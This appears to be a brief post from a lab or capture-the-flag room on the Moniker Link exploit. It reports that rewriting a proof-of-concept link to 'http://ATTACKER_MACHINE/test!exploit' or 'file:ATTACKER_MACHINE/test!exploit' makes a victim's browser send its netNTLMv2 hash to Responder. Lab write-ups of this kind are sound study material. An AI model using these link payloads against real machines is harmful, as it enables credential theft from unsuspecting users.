Capturing netNTLMv2 Hash Over HTTP via Moniker Link Exploit

You can also capture the victim's netNTLMv2 hash over HTTP? (Moniker Link Room). The user modified the provided proof-of-concept code by changing "file://ATTACKER_MACHINE/test!exploit" to "http://ATTACKER_MACHINE/test!exploit", which triggered an HTTP authentication prompt in Internet Explorer on the victim's machine. This resulted in the victim's netNTLMv2 hash being captured over HTTP by Responder. Additionally, using "file:ATTACKER_MACHINE/test!exploit" (without "//") produced the same behavior.